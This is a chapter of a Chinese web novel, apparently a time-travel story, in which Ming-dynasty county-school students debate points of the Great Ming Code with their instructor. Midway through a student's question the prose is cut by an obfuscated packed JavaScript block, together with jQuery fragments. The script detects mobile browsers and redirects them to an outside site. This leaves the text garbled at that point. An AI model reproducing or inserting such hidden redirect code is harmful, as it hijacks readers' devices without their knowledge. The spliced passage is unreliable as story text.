十一月的县学，课程越发紧凑。朔望日的大课，除经史诗赋外，也开始加入一些“杂学”——今日讲的是《大明律》入门，由负责西斋治事斋的严训导主讲。
严训导年约五旬，面庞方正，不苟言笑，据说早年曾做过县衙刑名师爷，对律例刑名极熟。他往明伦堂前一站，目光扫过，满堂生员便觉一股肃然之气。
“尔等既为生员，他日或为官，或为吏，或为乡绅，皆需知律、明律、敬律。”严训导声音洪亮，“《大明律》乃太祖高皇帝亲定，我朝治国之基，万民之绳墨。今日不讲细目，但讲其要义精神，与尔等读书人最为相关者。”
他先从“十恶”讲起：谋反、谋大逆、谋叛、恶逆、不道、大不敬、不孝、不睦、不义、内乱。“此十恶者，常赦不原，遇赦不赦。读书人首重忠孝节义，若犯此条，功名尽革，性命难保，累及家族，切记！”
接着讲“八议”：议亲、议故、议贤、议能、议功、议贵、议勤、议宾。“此八类人犯罪，法司不可擅断，须奏闻请旨。尔等他日若得功名，便入‘议贵’之列，此是朝廷优待士人处，但亦需自重，莫恃此而枉法。”
又讲了些户婚、田土、钱债等民事律条的大原则，如“祖父母、父母在，子孙不许别籍异财”，“婚姻凭媒妁，写立婚书，依礼聘嫁”，“负债违约不偿，罪止杖责，并追本利给主”等等。
严训导讲得条理清晰，但多是照本宣科，强调纲常伦理与尊卑秩序。堂下生员大多埋头记录，也有如徐文斌之流，听到“八议”时，眼中闪过自得之色，腰杆都挺直了些。
林湛听得认真，心中却难免将这与前世的法律概念相比较。古代法律重刑轻民，维护宗法与等级的色彩极浓，且“礼法合一”，道德与法律界限模糊。他一边记，一边思考着其中的合理性与局限性。
讲到“犯罪首从”时，严训导道：“凡共犯罪者，以造意为首，随从者减一等。若一家人共犯，止坐尊长。此乃明尊卑、别首从之义。”
林湛举起了手。这是他在县学课上第一次主动提问。
严训导略微意外，颔首：“林生有何疑问？”
“学生愚钝，请教严训导，”林湛起身，恭敬道，“若甲乙二人共谋行窃，甲为主谋，乙为从犯。然行窃之时，乙临时起意，杀伤事主，甲并不知情。此案中，甲于窃盗为造意首犯，于杀伤则为不知情之从犯否？乙于窃盗为从犯，于杀伤则为临时造意之首犯否？律例于此，如何区分定罪？”
这个问题一出，堂下有些骚动。许多生员还停留在背诵条文的阶段，没想过这么具体的案例。徐文斌撇嘴嘀咕：“钻牛角尖。”
严训导却眼睛一亮。他放下书卷，沉吟道：“此问……触及律法精微处。依《大明律》，共犯罪者，各以所犯之罪论处。甲造意行窃，自当以窃盗首犯论；乙临时起意杀伤，自当以杀伤首犯论。然二人共谋行窃在前，乙之杀伤虽为临时起意，但若无共谋行窃之事，杀伤或不可成。故乙之杀伤罪，亦与其从犯窃盗之责相关。具体量刑，需视情节，由法司详勘。”
他顿了顿，看向林湛：“你能思及此，可见用心。律法非死物，案情千变万化，需究其情理，衡其轻重，方能不枉不纵。”
林湛谢过坐下。周文渊低声赞道：“林师弟此问，切中要害。”
这时，一直沉默坐在西斋区域的李慕白，忽然也举起了手。严训导有些讶异，这位以诗才闻名的孤高才子，竟也对律法课感兴趣？“李生请讲。”
李慕白起身，声音清冷：“学生亦有一问。若按‘八议’，士人犯罪可奏请减赎。然则，若士人犯‘十恶’，或贪赃枉法、鱼肉乡里，因其有‘议贵’之权，便可脱罪或轻判。此岂非使‘八议’成为护符，反伤律法公平？律法既云‘王子犯法与庶民同罪’，又与‘八议’相悖，何解？”
这问题更尖锐！直接质疑“八议”制度的公平性。满堂哗然。徐文斌脸色一变，张口欲驳，却又不知如何说起。
严训导眉头微皱，显然没想到会有学生如此直接地质疑国朝根本制度。他肃容道：“李生此言差矣。‘八议’乃圣人‘刑不上大夫’之遗意，体现朝廷优待贤才、尊崇德望之心。且‘议’并非不罪，仍需奏闻圣裁，岂是护符？至于公平……天地尚有尊卑，人世岂能无别？读书人明理守节，自当为世表率，若真犯十恶重罪，纵有‘八议’，天理人心亦不容！”
他说得义正辞严，但显然有些动气。李慕白听了，神色不变，只微微一揖：“学生受教。”便坐下了，但那平静无波的眼神里，分明写着“不以为然”。
堂内气氛一时有些凝滞。林湛见严训导脸色不豫，想了想，又举手道：“严训导，学生可否再请教一例？”
严训导看向他，脸色稍缓：“讲。”
“假设某甲过失致人死亡，依律当判徒刑；某乙故意伤人致残，依律亦判徒刑。”林湛缓缓道，“二者刑责相同，然其主观恶意、社会危害，是否应有所区分？律例中，于‘故意’与‘过
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182189|196937||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
失’，量刑标准似乎未能充分体现此差别。学生愚见，若能在律中更清晰界定‘故’‘失’，依其心术善恶、后果轻重，细化量刑，或可使刑罚更契情理，令人心服。”
他这个问题，其实触及了古代法律“重结果、轻动机”的特点，以及罪刑相适应原则的缺失。但用词谨慎，只从“心术善恶”“契情理”的角度提出，未直接批评律法。
严训导捻须沉思。这个问题，比刚才那个更深入，直指律法操作中的模糊地带。他教了多年律例，自然知道“故”与“失”在实践中区分之难，也知因此导致的判罚时有争议。
“你所言……不无道理。”严训导终于开口，语气复杂，“《大明律》于‘故’‘失’确有区分，如‘故杀’‘过失杀’，刑罚不同。然人心难测，犯意难明，法司断案，往往依证据、依常情推断。你提出细化区分，是良愿，然实务中，恐难周全。不过……”他看了看林湛，又瞥了一眼李慕白，“能思及此，已属难得。读书人明律，不仅为知法守法，更当思如何使法更善、更公。此二问，尔等课后可继续思辨。”
说罢，他宣布下课，拿起书卷，匆匆走了，似乎也需要时间消化今日课堂上的“意外”。
明伦堂内，顿时议论纷纷。许多生员围过来，七嘴八舌。
“林兄，你那个‘故’‘失’之分，提得妙！我就觉得，不小心打碎个花瓶和故意砸了，能一样罚吗？”张裕嚷道。
一位老成些的生员摇头：“律法贵在稳定，若事事细分，法吏如何掌握？恐生更多弊端。”
徐文斌则阴阳怪气：“有些人，才进县学几天，就想着改祖宗法度了？真是不知天高地厚！”
周文渊温言道：“思辨而已。严训导也说，读书人当思法之善公。”
李慕白已收拾好书箱，走到门口，闻言回头，目光与林湛对上。他什么都没说，只极轻微地一点头，便转身离去。那背影依旧孤直，但方才提问时的那份锐气，似乎还未完全敛去。
林湛笑了笑。今日这堂律法课，倒是收获不小。不仅对《大明律》有了框架性认识，更看到了同窗们迥异的思考方式，还意外地与那位孤高的李慕白，在另一个领域产生了思想的碰撞。
走出明伦堂，寒风扑面。县学庭院里，那几株老树的叶子已落尽，枝桠嶙峋地指向灰白的天空。远处西斋方向，隐约传来算盘珠子拨动的噼啪声，与东斋这边的读书声、议论声交织在一起，构成县学特有的、充满思辨与活力的声响。